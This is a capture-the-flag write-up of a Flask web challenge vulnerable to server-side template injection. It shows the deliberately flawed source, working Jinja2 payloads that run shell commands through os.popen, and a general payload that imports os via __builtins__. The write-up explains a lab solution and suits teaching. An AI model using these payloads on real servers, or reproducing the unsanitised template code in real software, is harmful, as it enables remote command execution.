Swiss Hacking Challenge 2023 - mr. template man

Posted on Apr 23, 2023

Information

Challenge category: web

Challenge Description

Once upon a time, there was a man named mr. template man. He was an ordinary man with an extraordinary ability to create templates for every aspect of his life. From his morning routine to his work schedule, he had a template for everything. He believed that templates saved him time and helped him stay organized. One day, mr. template man realized that he had become too reliant on his templates. He started to feel like he was living his life on autopilot, without any spontaneity or creativity. He realized that his templates were holding him back from experiencing new things and taking risks.

Files

We are given a mr_template_man.zip file which contains the source code for the application

Source code

The (very small) source code looks as follows

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    content = request.args.get("content") or ""
    ctx = {
        "os": os
    }
    try:
        return render_template_string("""<!DOCTYPE html>
<html>
    <head>
        <title>Mr. Template Man</title>
    </head>
    <body>
        <h3>What do you have to say?</h3>
        <p>""" + content + """</p>
        <form action="/" method="GET">
            <input type="text" name="content" value="" />
            <input type="submit" />
        </form>
        <span>Server running as pid {{ os.getpid() }}</span>
    </body>
</html>
""", **ctx)
    except Exception as e:
        return render_template_string("""<!DOCTYPE html>
<html>
    <head>
        <title>Mr. Template Man</title>
    </head>
    <body>
        <h3>Oh no, something went wrong</h3>
        <p>Here are the details:</p>
        <span>{{ ex }}</span>
    </body>
</html>
""", ex=str(e))

app.run(host="0.0.0.0", port=5000)

Exploitation

We’re rendering the template content directly, without any sanitisation of the user input.

As we’re passing os to the execution context of the templating function, we can simply execute commands and get their return value using os.popen(), example:

{{ os.popen("ls").read() }}

Output:

app.py flag.txt

Flag

We can simply run the following to get the flag:

{{ os.popen("cat flag.txt").read() }}

The flag is: shc2023{3xpl01t_t3mpl4t35_w1th_0s_3dd8ca1f3}

Conclusion

This was one of the very first challenges I solved. I even made life harder for myself by not looking at the source code and seeing the os thing as I was familiar with template injection. I used things like {{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}} which also worked but was a lot more complicated.

References

  1. https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
  2. https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/